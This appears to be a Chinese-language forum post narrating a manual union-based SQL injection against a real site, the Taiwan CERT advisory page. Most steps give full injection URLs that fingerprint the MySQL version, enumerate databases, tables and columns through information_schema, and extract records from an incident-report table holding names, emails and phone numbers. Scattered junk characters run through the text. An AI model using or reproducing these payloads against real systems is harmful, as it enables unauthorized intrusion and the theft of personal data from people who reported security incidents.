1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
8 y5 O) _) Q% Y9 a2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
- K1 ]* g5 r+ l0 shttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
5 j; d; {; N7 i* i8 M5 B" q3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
3 k7 s, `9 e9 `, _4 f7 I数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。 O5 D) G- ]; p/ e; |# ?7 r
4.判断有没有写权限
1 F; r5 A# e+ @http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
, J4 Z V" A% X+ b没办法,手动猜表啦4 X9 ?5 O, _( J( P$ G
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1' I: n: h, a2 R& F+ O
但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下9 q) s. u+ p5 h$ Y2 F
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
4 U/ u. _# E" L( }成功查出所有数据库,国外的黑客就是不一般。数据库如下:' \' }- Y: K0 J9 ^# ^7 d4 u
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb+ X: R6 K, ~; d2 {9 B5 J J
6.爆表,爆的是twcert库
+ `8 @; q5 w$ |8 S: i0 W5 ?( shttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
5 A$ Y1 Y- b) [" N4 g8 |+ l/ I爆出如下表2 a) T# R8 }) x; x2 v; x! D
downloadfile,irsys,newsdata,secrpt,secrpt_big5
3 ^, p. x$ G8 [7 d6 ?7.爆列名,这次爆的是irsys表 f- z: E* h. M) q0 a& n
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
8 ^6 \5 H2 F4 z. z4 X8 a2 q爆出如下列4 u; e% i, L% |
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
; R z- @8 r- N" U+ E/ \/ M; Q8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。: R& v: ]) s8 J, O
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--7 V( \7 f0 C9 E& c! M+ r& j: z
返回是3,说明每个列里有3个地段
2 F, B( F$ U; u- k W9.爆字段内容
" e' L& X: o* \/ ~& s5 Y6 ehttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
% V7 V3 D9 L4 P6 {' W' E/ T爆出name列的第一个字段的内容3 i, C( n% ]1 Z5 X4 L' P
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--, H; v! q( i! F% M6 r4 }/ [
爆出name列的第二个字段的内容 |